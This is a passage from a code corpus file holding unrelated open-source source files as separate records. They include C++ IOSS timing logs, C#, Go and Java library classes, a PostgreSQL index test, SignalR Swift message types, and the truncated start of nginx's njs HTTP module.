{\n std::ostringstream strm;\n fmt::print(strm, \"\\nIOSS: Time to {} state {}, time {} is \", (is_input ? \"read \" : \"write\"),\n current_state, state_time);\n\n double total = 0.0;\n for (auto &p_time : all_times) {\n total += p_time;\n }\n\n // Now append each processors time onto the stream...\n if (util.parallel_size() == 1) {\n fmt::print(strm, \"{} (ms)\\n\", total);\n }\n else if (util.parallel_size() > 4) {\n std::sort(all_times.begin(), all_times.end());\n fmt::print(strm, \" Min: {}\\tMax: {}\\tMed: {}\", all_times.front(), all_times.back(),\n all_times[all_times.size() / 2]);\n }\n else {\n char sep = (util.parallel_size() > 1) ? ':' : ' ';\n for (auto &p_time : all_times) {\n fmt::print(strm, \"{:8d}{}\", p_time, sep);\n }\n }\n if (util.parallel_size() > 1) {\n fmt::print(strm, \"\\tTot: {} (ms)\\n\", total);\n }\n fmt::print(Ioss::DEBUG(), \"{}\", strm.str());\n }\n }\n\n void log_field(const char *symbol, const Ioss::GroupingEntity *entity, const Ioss::Field &field,\n bool single_proc_only, const Ioss::ParallelUtils &util)\n {\n if (entity != nullptr) {\n std::vector all_sizes;\n if (single_proc_only) {\n all_sizes.push_back(field.get_size());\n }\n else {\n util.gather(static_cast(field.get_size()), all_sizes);\n }\n\n if (util.parallel_rank() == 0 || single_proc_only) {\n const std::string & name = entity->name();\n std::ostringstream strm;\n auto now = std::chrono::high_resolution_clock::now();\n std::chrono::duration diff = now - initial_time;\n fmt::print(strm, \"{} [{:.3f}]\\t\", symbol, diff.count());\n\n int64_t total = 0;\n for (auto &p_size : all_sizes) {\n total += p_size;\n }\n // Now append each processors size onto the stream...\n if (util.parallel_size() > 4) {\n auto min_max = std::minmax_element(all_sizes.cbegin(), all_sizes.cend());\n fmt::print(strm, \" m: {:8d} M: {:8d} A: {:8d}\", *min_max.first, *min_max.second,\n total / all_sizes.size());\n }\n else {\n for (auto &p_size : all_sizes) {\n fmt::print(strm, \"{:8d}:\", p_size);\n }\n }\n if (util.parallel_size() > 1) {\n fmt::print(strm, \" T:{:8d}\", total);\n }\n fmt::print(strm, \"\\t{}/{}\\n\", name, field.get_name());\n fmt::print(Ioss::DEBUG(), \"{}\", strm.str());\n }\n }\n else {\n if (!single_proc_only) {\n util.barrier();\n }\n if (util.parallel_rank() == 0 || single_proc_only) {\n auto time_now = std::chrono::high_resolution_clock::now();\n std::chrono::duration diff = time_now - initial_time;\n fmt::print(\"{} [{:.3f}]\\n\", symbol, diff.count());\n }\n }\n }\n} // namespace\n"} {"text": "using Microsoft.Extensions.DependencyInjection;\nusing Volo.Abp.EntityFrameworkCore;\nusing Volo.Abp.Modularity;\n\nnamespace Volo.Abp.PermissionManagement.EntityFrameworkCore\n{\n [DependsOn(typeof(AbpPermissionManagementDomainModule))]\n [DependsOn(typeof(AbpEntityFrameworkCoreModule))]\n public class AbpPermissionManagementEntityFrameworkCoreModule : AbpModule\n {\n public override void ConfigureServices(ServiceConfigurationContext context)\n {\n context.Services.AddAbpDbContext(options =>\n {\n options.AddDefaultRepositories();\n\n options.AddRepository();\n });\n }\n }\n}\n"} {"text": "from .vntapmd import MdApi\nfrom .vntaptd import TdApi\nfrom .tap_constant import *"} {"text": "//\n// DISCLAIMER\n//\n// Copyright 2017 ArangoDB GmbH, Cologne, Germany\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n// Copyright holder is ArangoDB GmbH, Cologne, Germany\n//\n// Author Ewout Prangsma\n//\n\npackage http\n\nimport (\n\t\"fmt\"\n\n\tdriver \"github.com/arangodb/go-driver\"\n\tvelocypack \"github.com/arangodb/go-velocypack\"\n)\n\n// httpVPackResponseElement implements driver.Response for an entry of an array response.\ntype httpVPackResponseElement struct {\n\tstatusCode *int\n\tslice velocypack.Slice\n}\n\n// StatusCode returns an HTTP compatible status code of the response.\nfunc (r *httpVPackResponseElement) StatusCode() int {\n\tif r.statusCode == nil {\n\t\tstatusCode := 200\n\t\t// Look for \"error\" field\n\t\tif errorFieldSlice, _ := r.slice.Get(\"error\"); !errorFieldSlice.IsNone() {\n\t\t\tif hasError, err := errorFieldSlice.GetBool(); err == nil && hasError {\n\t\t\t\t// We have an error, look for code field\n\t\t\t\tstatusCode = 500\n\t\t\t\tif codeFieldSlice, _ := r.slice.Get(\"code\"); !codeFieldSlice.IsNone() {\n\t\t\t\t\tif code, err := codeFieldSlice.GetInt(); err == nil {\n\t\t\t\t\t\tstatusCode = int(code)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tr.statusCode = &statusCode\n\t}\n\treturn *r.statusCode\n}\n\n// Endpoint returns the endpoint that handled the request.\nfunc (r *httpVPackResponseElement) Endpoint() string {\n\treturn \"\"\n}\n\n// CheckStatus checks if the status of the response equals to one of the given status codes.\n// If so, nil is returned.\n// If not, an attempt is made to parse an error response in the body and an error is returned.\nfunc (r *httpVPackResponseElement) CheckStatus(validStatusCodes ...int) error {\n\tstatusCode := r.StatusCode()\n\tfor _, x := range validStatusCodes {\n\t\tif x == statusCode {\n\t\t\t// Found valid status code\n\t\t\treturn nil\n\t\t}\n\t}\n\t// Invalid status code, try to parse arango error response.\n\tvar aerr driver.ArangoError\n\tif err := r.ParseBody(\"\", &aerr); err == nil && aerr.HasError {\n\t\t// Found correct arango error.\n\t\treturn aerr\n\t}\n\n\t// We do not have a valid error code, so we can only create one based on the HTTP status code.\n\treturn driver.ArangoError{\n\t\tHasError: true,\n\t\tCode: statusCode,\n\t\tErrorMessage: fmt.Sprintf(\"Unexpected status code %d\", statusCode),\n\t}\n}\n\n// Header returns the value of a response header with given key.\n// If no such header is found, an empty string is returned.\nfunc (r *httpVPackResponseElement) Header(key string) string {\n\treturn \"\"\n}\n\n// ParseBody performs protocol specific unmarshalling of the response data into the given result.\n// If the given field is non-empty, the contents of that field will be parsed into the given result.\nfunc (r *httpVPackResponseElement) ParseBody(field string, result interface{}) error {\n\tslice := r.slice\n\tif field != \"\" {\n\t\tvar err error\n\t\tslice, err = slice.Get(field)\n\t\tif err != nil {\n\t\t\treturn driver.WithStack(err)\n\t\t}\n\t\tif slice.IsNone() {\n\t\t\t// Field not found\n\t\t\treturn nil\n\t\t}\n\t}\n\tif result != nil {\n\t\tif err := velocypack.Unmarshal(slice, result); err != nil {\n\t\t\treturn driver.WithStack(err)\n\t\t}\n\t}\n\treturn nil\n}\n\n// ParseArrayBody performs protocol specific unmarshalling of the response array data into individual response objects.\n// This can only be used for requests that return an array of objects.\nfunc (r *httpVPackResponseElement) ParseArrayBody() ([]driver.Response, error) {\n\treturn nil, driver.WithStack(driver.InvalidArgumentError{Message: \"ParseArrayBody not allowed\"})\n}\n"} {"text": "/*\n * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.tencentcloudapi.yunjing.v20180228.models;\n\nimport com.tencentcloudapi.common.AbstractModel;\nimport com.google.gson.annotations.SerializedName;\nimport com.google.gson.annotations.Expose;\nimport java.util.HashMap;\n\npublic class DeleteReverseShellRulesResponse extends AbstractModel{\n\n /**\n * 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n @SerializedName(\"RequestId\")\n @Expose\n private String RequestId;\n\n /**\n * Get 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 \n * @return RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n public String getRequestId() {\n return this.RequestId;\n }\n\n /**\n * Set 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n * @param RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n public void setRequestId(String RequestId) {\n this.RequestId = RequestId;\n }\n\n /**\n * Internal implementation, normal users should not use it.\n */\n public void toMap(HashMap map, String prefix) {\n this.setParamSimple(map, prefix + \"RequestId\", this.RequestId);\n\n }\n}\n\n"} {"text": "import { setPublicPath } from 'systemjs-webpack-interop'\n\nsetPublicPath('app2', 2)"} {"text": "set enable_seqscan=off;\nCREATE TABLE test_varbit (\n\ti varbit\n);\nINSERT INTO test_varbit VALUES ('001'),('010'),('011'),('100'),('101'),('110');\nCREATE INDEX idx_varbit ON test_varbit USING gin (i);\nSELECT * FROM test_varbit WHERE i<'100'::varbit ORDER BY i;\n i \n-----\n 001\n 010\n 011\n(3 rows)\n\nSELECT * FROM test_varbit WHERE i<='100'::varbit ORDER BY i;\n i \n-----\n 001\n 010\n 011\n 100\n(4 rows)\n\nSELECT * FROM test_varbit WHERE i='100'::varbit ORDER BY i;\n i \n-----\n 100\n(1 row)\n\nSELECT * FROM test_varbit WHERE i>='100'::varbit ORDER BY i;\n i \n-----\n 100\n 101\n 110\n(3 rows)\n\nSELECT * FROM test_varbit WHERE i>'100'::varbit ORDER BY i;\n i \n-----\n 101\n 110\n(2 rows)\n\n"} {"text": "//\n// HubProtocol.swift\n// SignalRClient\n//\n// Created by Pawel Kadluczka on 8/27/17.\n// Copyright © 2017 Pawel Kadluczka. All rights reserved.\n//\n\nimport Foundation\n\npublic enum ProtocolType: Int {\n case Text = 1\n case Binary\n}\n\npublic protocol HubProtocol {\n var name: String { get }\n var version: Int { get }\n var type: ProtocolType { get }\n func parseMessages(input: Data) throws -> [HubMessage]\n func writeMessage(message: HubMessage) throws -> Data\n}\n\npublic enum MessageType: Int, Codable {\n case Invocation = 1\n case StreamItem = 2\n case Completion = 3\n case StreamInvocation = 4\n case CancelInvocation = 5\n case Ping = 6\n case Close = 7\n}\n\npublic protocol HubMessage {\n var type: MessageType { get }\n}\n\npublic class ServerInvocationMessage: HubMessage, Encodable {\n public let type = MessageType.Invocation\n public let invocationId: String?\n public let target: String\n public let arguments: [Encodable]\n\n convenience init(target: String, arguments: [Encodable]) {\n self.init(invocationId: nil, target: target, arguments: arguments)\n }\n\n init(invocationId: String?, target: String, arguments: [Encodable]) {\n self.invocationId = invocationId\n self.target = target\n self.arguments = arguments\n }\n\n public func encode(to encoder: Encoder) throws {\n var container = encoder.container(keyedBy: CodingKeys.self)\n try container.encode(type, forKey: .type)\n try container.encode(target, forKey: .target)\n try container.encodeIfPresent(invocationId, forKey: .invocationId)\n\n var argumentsContainer = container.nestedUnkeyedContainer(forKey: .arguments)\n try arguments.forEach {\n try argumentsContainer.encode(AnyEncodable(value:$0))\n }\n }\n\n enum CodingKeys : String, CodingKey {\n case type\n case target\n case invocationId\n case arguments\n }\n}\n\npublic class ClientInvocationMessage: HubMessage, Decodable {\n public let type = MessageType.Invocation\n public let target: String\n private var arguments: UnkeyedDecodingContainer?\n\n public required init (from decoder: Decoder) throws {\n let container = try decoder.container(keyedBy: CodingKeys.self)\n target = try container.decode(String.self, forKey: .target)\n if container.contains(.arguments) {\n arguments = try container.nestedUnkeyedContainer(forKey: .arguments)\n }\n }\n\n public func getArgument(type: T.Type) throws -> T {\n guard arguments != nil else {\n throw SignalRError.invalidOperation(message: \"No arguments exist.\")\n }\n\n return try arguments!.decode(T.self)\n }\n\n var hasMoreArgs : Bool {\n get {\n if arguments != nil {\n return !arguments!.isAtEnd\n }\n\n return false\n }\n }\n\n enum CodingKeys : String, CodingKey {\n case type\n case target\n case invocationId\n case arguments\n }\n}\n\npublic class StreamItemMessage: HubMessage, Decodable {\n public let type = MessageType.StreamItem\n public let invocationId: String\n let container: KeyedDecodingContainer\n\n public required init (from decoder: Decoder) throws {\n container = try decoder.container(keyedBy: CodingKeys.self)\n invocationId = try container.decode(String.self, forKey: .invocationId)\n }\n\n public func getItem(_ type: T.Type) throws -> T {\n do {\n return try container.decode(T.self, forKey: .item)\n } catch {\n throw SignalRError.serializationError(underlyingError: error)\n }\n }\n\n enum CodingKeys : String, CodingKey {\n case invocationId\n case item\n }\n}\n\npublic class CompletionMessage: HubMessage, Decodable {\n public let type = MessageType.Completion\n public let invocationId: String\n public let error: String?\n public let hasResult: Bool\n let container: KeyedDecodingContainer\n\n public required init (from decoder: Decoder) throws {\n container = try decoder.container(keyedBy: CodingKeys.self)\n invocationId = try container.decode(String.self, forKey: .invocationId)\n error = try container.decodeIfPresent(String.self, forKey: .error)\n hasResult = container.contains(.result)\n }\n\n public func getResult(_ type: T.Type) throws -> T? {\n if hasResult {\n do {\n return try container.decode(T.self, forKey: .result)\n } catch {\n throw SignalRError.serializationError(underlyingError: error)\n }\n }\n\n return nil\n }\n\n enum CodingKeys : String, CodingKey {\n case invocationId\n case error\n case result\n }\n}\n\npublic class StreamInvocationMessage: HubMessage, Encodable {\n public let type = MessageType.StreamInvocation\n public let invocationId: String\n public let target: String\n public let arguments: [Encodable]\n\n init(invocationId: String, target: String, arguments: [Encodable]) {\n self.invocationId = invocationId\n self.target = target\n self.arguments = arguments\n }\n\n public func encode(to encoder: Encoder) throws {\n var container = encoder.container(keyedBy: CodingKeys.self)\n try container.encode(type, forKey: .type)\n try container.encode(target, forKey: .target)\n try container.encode(invocationId, forKey: .invocationId)\n var argumentsContainer = container.nestedUnkeyedContainer(forKey: .arguments)\n try arguments.forEach {\n try argumentsContainer.encode(AnyEncodable(value:$0))\n }\n }\n\n enum CodingKeys : String, CodingKey {\n case type\n case target\n case invocationId\n case arguments\n }\n}\n\npublic class CancelInvocationMessage: HubMessage, Encodable {\n public let type = MessageType.CancelInvocation\n public let invocationId: String\n\n init(invocationId: String) {\n self.invocationId = invocationId\n }\n}\n\npublic class PingMessage : HubMessage {\n public let type = MessageType.Ping\n private init() { }\n\n static let instance = PingMessage()\n}\n\npublic class CloseMessage: HubMessage, Decodable {\n public let type = MessageType.Close\n public let error: String?\n\n init(error: String?) {\n self.error = error\n }\n}\n"} {"text": "/*\n * Copyright (c) 2006, 2008-2009 Hyperic, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.hyperic.sigar.jmx;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.util.Map;\nimport java.util.StringTokenizer;\n\nimport org.hyperic.sigar.Sigar;\nimport org.hyperic.sigar.SigarException;\nimport org.hyperic.sigar.SigarInvoker;\nimport org.hyperic.sigar.SigarNotImplementedException;\nimport org.hyperic.sigar.SigarProxy;\nimport org.hyperic.sigar.SigarProxyCache;\nimport org.hyperic.sigar.util.ReferenceMap;\n\n/**\n * Extension of SigarInvoker to provide JMX style ObjectName\n * interface to sigar.\n */\npublic class SigarInvokerJMX extends SigarInvoker {\n\n public static final String DOMAIN_NAME = \"sigar\";\n\n public static final String PROP_TYPE = \"Type\";\n public static final String PROP_NAME = \"Name\"; //prefer Name (Arg for compat)\n public static final String PROP_ARG = \"Arg\";\n\n private String arg = null;\n\n private static Map cache = \n ReferenceMap.synchronizedMap();\n\n /**\n * Get an invoker instance for the given object name.\n * A cache is maintained so only 1 invoker object per\n * unique object name will be constructed. The object name\n * is in the format of:\n * domainName:prop=val,prop2=val2\n * Only two properties are currently recognized:\n * Type == The SigarProxy name, required. (e.g. Cpu, Mem)\n * Arg == Argument (if any) for the given type, optional. (e.g. Arg=eth0)\n * @param proxy The SigarProxy object (e.g. SigarProxyCache)\n * @param name The object Name (e.g. sigar:Type=NetIfStat,Arg=eth0)\n */\n public static SigarInvokerJMX getInstance(SigarProxy proxy,\n String name) {\n\n SigarInvokerJMX invoker;\n\n if (!(proxy instanceof InvocationHandler) && (proxy instanceof Sigar)) {\n proxy = SigarProxyCache.newInstance((Sigar)proxy);\n }\n\n int ix = name.indexOf(\":\");\n if (ix > 0) {\n //skip domain name\n name = name.substring(ix + 1);\n }\n\n if ((invoker = (SigarInvokerJMX)cache.get(name)) != null) {\n invoker.setProxy(proxy);\n return invoker;\n }\n\n invoker = new SigarInvokerJMX();\n\n invoker.setProxy(proxy);\n\n StringTokenizer st = new StringTokenizer(name, \",\");\n\n while (st.hasMoreTokens()) {\n String attr = st.nextToken(); \n ix = attr.indexOf('=');\n\n String key = attr.substring(0, ix);\n String val = attr.substring(key.length()+1);\n\n if (key.equalsIgnoreCase(PROP_TYPE)) {\n invoker.setType(val);\n }\n else if (key.equalsIgnoreCase(PROP_NAME) ||\n key.equalsIgnoreCase(PROP_ARG))\n {\n //need to decode value, e.g. Arg=C%3D\\ => Arg=C:\\\n invoker.setArg(decode(val));\n }\n }\n\n cache.put(name, invoker);\n\n return invoker;\n }\n\n //like URLDecoder but we only look for escaped ObjectName\n //delimiters ':', '=' and ','\n public static String decode(String val) {\n StringBuffer buf = new StringBuffer(val.length());\n boolean changed = false;\n int len = val.length();\n int i = 0;\n\n while (i < len) {\n char c = val.charAt(i);\n\n if (c == '%') {\n char d;\n if (i+2 > len) {\n break;\n }\n String s = val.substring(i+1, i+3);\n\n if (s.equals(\"3A\")) {\n d = ':';\n }\n else if (s.equals(\"3D\")) {\n d = '=';\n }\n else if (s.equals(\"2C\")) {\n d = ',';\n }\n else {\n buf.append(c);\n i++;\n continue;\n }\n\n changed = true;\n buf.append(d);\n i += 3;\n }\n else {\n buf.append(c);\n i++;\n }\n }\n\n return changed ? buf.toString() : val;\n }\n\n private void setArg(String val) {\n this.arg = val;\n }\n\n /**\n * The value of the parsed Arg property.\n */\n public String getArg() {\n return this.arg;\n }\n\n /**\n * Returns a JMX style object name with given property values.\n */\n public static String getObjectName(String type, String arg) {\n String s = DOMAIN_NAME + \":\";\n\n s += PROP_TYPE + \"=\" + type;\n\n if (arg != null) {\n s += \",\" + PROP_ARG + \"=\" + arg;\n }\n\n return s;\n }\n\n /**\n * Returns a JMX style object that represents this instance.\n */\n public String getObjectName() {\n return getObjectName(getType(), getArg());\n }\n\n public String toString() {\n return getObjectName();\n }\n\n /**\n * Invoke an attribute method for the given object.\n * Example:\n * SigarInvokerJMX invoker = new SigarInvokerJMX(proxy, \"Type=Mem\");\n * Object val = invoker.invoke(\"Free\");\n *\n * @param attr The attribute name (e.g. Total)\n * @exception SigarException If invocation fails.\n */\n public Object invoke(String attr)\n throws SigarException, SigarNotImplementedException {\n\n return super.invoke(getArg(), attr);\n }\n}\n"} {"text": "\n/*\n * Copyright (C) Roman Arutyunyan\n * Copyright (C) Dmitry Volyntsev\n * Copyright (C) NGINX, Inc.\n */\n\n\n#include \n#include \n#include \n\n#include \n\n\ntypedef struct {\n njs_vm_t *vm;\n ngx_str_t include;\n u_char *file;\n ngx_uint_t line;\n ngx_array_t *imports;\n ngx_array_t *paths;\n njs_external_proto_t req_proto;\n} ngx_http_js_main_conf_t;\n\n\ntypedef struct {\n ngx_str_t content;\n} ngx_http_js_loc_conf_t;\n\n\ntypedef struct {\n ngx_str_t name;\n ngx_str_t path;\n u_char *file;\n ngx_uint_t line;\n} ngx_http_js_import_t;\n\n\ntypedef struct {\n njs_vm_t *vm;\n ngx_log_t *log;\n ngx_uint_t done;\n ngx_int_t status;\n njs_opaque_value_t request;\n njs_opaque_value_t request_body;\n ngx_str_t redirect_uri;\n njs_opaque_value_t promise_callbacks[2];\n} ngx_http_js_ctx_t;\n\n\ntypedef struct {\n ngx_http_request_t *request;\n njs_vm_event_t vm_event;\n void *unused;\n ngx_int_t ident;\n} ngx_http_js_event_t;\n\n\ntypedef struct {\n njs_str_t name;\n njs_int_t (*handler)(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\n\n} ngx_http_js_header_t;\n\n\nstatic ngx_int_t ngx_http_js_content_handler(ngx_http_request_t *r);\nstatic void ngx_http_js_content_event_handler(ngx_http_request_t *r);\nstatic void ngx_http_js_content_write_event_handler(ngx_http_request_t *r);\nstatic void ngx_http_js_content_finalize(ngx_http_request_t *r,\n ngx_http_js_ctx_t *ctx);\nstatic ngx_int_t ngx_http_js_variable(ngx_http_request_t *r,\n ngx_http_variable_value_t *v, uintptr_t data);\nstatic ngx_int_t ngx_http_js_init_vm(ngx_http_request_t *r);\nstatic void ngx_http_js_cleanup_ctx(void *data);\nstatic void ngx_http_js_cleanup_vm(void *data);\n\nstatic njs_int_t ngx_http_js_ext_get_string(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_keys_header(njs_vm_t *vm, njs_value_t *value,\n njs_value_t *keys, ngx_list_t *headers);\nstatic ngx_table_elt_t *ngx_http_js_get_header(ngx_list_part_t *part,\n u_char *data, size_t len);\nstatic njs_int_t ngx_http_js_ext_raw_header(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_header_out(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_header_single(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_header_out_special(njs_vm_t *vm,\n ngx_http_request_t *r, njs_str_t *v, njs_value_t *setval,\n njs_value_t *retval, ngx_table_elt_t **hh);\nstatic njs_int_t ngx_http_js_header_array(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_header_generic(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_content_length(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_content_encoding(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_content_type(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_keys_header_out(njs_vm_t *vm,\n njs_value_t *value, njs_value_t *keys);\nstatic njs_int_t ngx_http_js_ext_status(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_send_header(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused);\nstatic njs_int_t ngx_http_js_ext_send(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused);\nstatic njs_int_t ngx_http_js_ext_finish(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused);\nstatic njs_int_t ngx_http_js_ext_return(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused);\nstatic njs_int_t ngx_http_js_ext_internal_redirect(njs_vm_t *vm,\n njs_value_t *args, njs_uint_t nargs, njs_index_t unused);\n\nstatic njs_int_t ngx_http_js_ext_log(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t level);\n\nstatic njs_int_t ngx_http_js_ext_get_http_version(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_get_remote_address(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_get_request_body(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_header_in(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_header_cookie(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\n#if (NGX_HTTP_X_FORWARDED_FOR)\nstatic njs_int_t ngx_http_js_header_x_forwarded_for(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_list_t *headers, njs_str_t *name,\n njs_value_t *setval, njs_value_t *retval);\n#endif\nstatic njs_int_t ngx_http_js_header_in_array(njs_vm_t *vm,\n ngx_http_request_t *r, ngx_array_t *array, u_char sep, njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_keys_header_in(njs_vm_t *vm,\n njs_value_t *value, njs_value_t *keys);\nstatic njs_int_t ngx_http_js_ext_get_arg(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_keys_arg(njs_vm_t *vm, njs_value_t *value,\n njs_value_t *keys);\nstatic njs_int_t ngx_http_js_ext_variables(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_subrequest(njs_vm_t *vm, njs_value_t *args,\n njs_uint_t nargs, njs_index_t unused);\nstatic ngx_int_t ngx_http_js_subrequest(ngx_http_request_t *r,\n njs_str_t *uri_arg, njs_str_t *args_arg, njs_function_t *callback,\n ngx_http_request_t **sr);\nstatic ngx_int_t ngx_http_js_subrequest_done(ngx_http_request_t *r,\n void *data, ngx_int_t rc);\nstatic njs_int_t ngx_http_js_ext_get_parent(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\nstatic njs_int_t ngx_http_js_ext_get_response_body(njs_vm_t *vm,\n njs_object_prop_t *prop, njs_value_t *value, njs_value_t *setval,\n njs_value_t *retval);\n\nstatic njs_host_event_t ngx_http_js_set_timer(njs_external_ptr_t external,\n uint64_t delay, njs_vm_event_t vm_event);\nstatic void ngx_http_js_clear_timer(njs_external_ptr_t external,\n njs_host_event_t event);\nstatic void ngx_http_js_timer_handler(ngx_event_t *ev);\nstatic void ngx_http_js_handle_event(ngx_http_request_t *r,\n njs_vm_event_t vm_event, njs_value_t *args, njs_uint_t nargs);\nstatic njs_int_t ngx_http_js_string(njs_vm_t *vm, njs_value_t *value,\n njs_str_t *str);\n\nstatic char *ngx_http_js_include(ngx_conf_t *cf, ngx_command_t *cmd,\n void *conf);\nstatic char *ngx_http_js_import(ngx_conf_t *cf, ngx_command_t *cmd,\n void *conf);\nstatic char *ngx_http_js_set(ngx_conf_t *cf, ngx_command_t *cmd, void *conf);\nstatic char *ngx_http_js_content(ngx_conf_t *cf, ngx_command_t *cmd,\n void *conf);\nstatic void *ngx_http_js_create_main_conf(ngx_conf_t *cf);\nstatic char *ngx_http_js_init_main_conf(ngx_conf_t *cf, void *conf);\nstatic void *ngx_http_js_create_loc_conf(ngx_conf_t *cf);\nstatic char *ngx_http_js_merge_loc_conf(ngx_conf_t *cf, void *parent,\n void *child);\n\n\nstatic ngx_command_t ngx_http_js_commands[] = {\n\n { ngx_string(\"js_include\"),\n NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE1,\n ngx_http_js_include,\n NGX_HTTP_MAIN_CONF_OFFSET,\n offsetof(ngx_http_js_main_conf_t, include),\n NULL },\n\n { ngx_string(\"js_import\"),\n NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE13,\n ngx_http_js_import,\n NGX_HTTP_MAIN_CONF_OFFSET,\n 0,\n NULL },\n\n { ngx_string(\"js_path\"),\n NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE1,\n ngx_conf_set_str_array_slot,\n NGX_HTTP_MAIN_CONF_OFFSET,\n offsetof(ngx_http_js_main_conf_t, paths),\n NULL },\n\n { ngx_string(\"js_set\"),\n NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE2,\n ngx_http_js_set,\n 0,\n 0,\n NULL },\n\n { ngx_string(\"js_content\"),\n NGX_HTTP_LOC_CONF|NGX_HTTP_LMT_CONF|NGX_CONF_TAKE1,\n ngx_http_js_content,\n NGX_HTTP_LOC_CONF_OFFSET,\n 0,\n NULL },\n\n ngx_null_command\n};\n\n\nstatic ngx_http_module_t ngx_http_js_module_ctx = {\n NULL, /* preconfiguration */\n NULL, /* postconfiguration */\n\n ngx_http_js_create_main_conf, /* create main configuration */\n ngx_http_js_init_main_conf, /* init main configuration */\n\n NULL, /* create server configuration */\n NULL, /* merge server configuration */\n\n ngx_http_js_create_loc_conf, /* create location configuration */\n ngx_http_js_merge_loc_conf /* merge location configuration */\n};\n\n\nngx_module_t ngx_http_js_module = {\n NGX_MODULE_V1,\n &ngx_http_js_module_ctx, /* module context */\n ngx_http_js_commands, /* module directives */\n NGX_HTTP_MODULE, /* module type */\n NULL, /* init master */\n NULL, /* init module */\n NULL, /* init process */\n 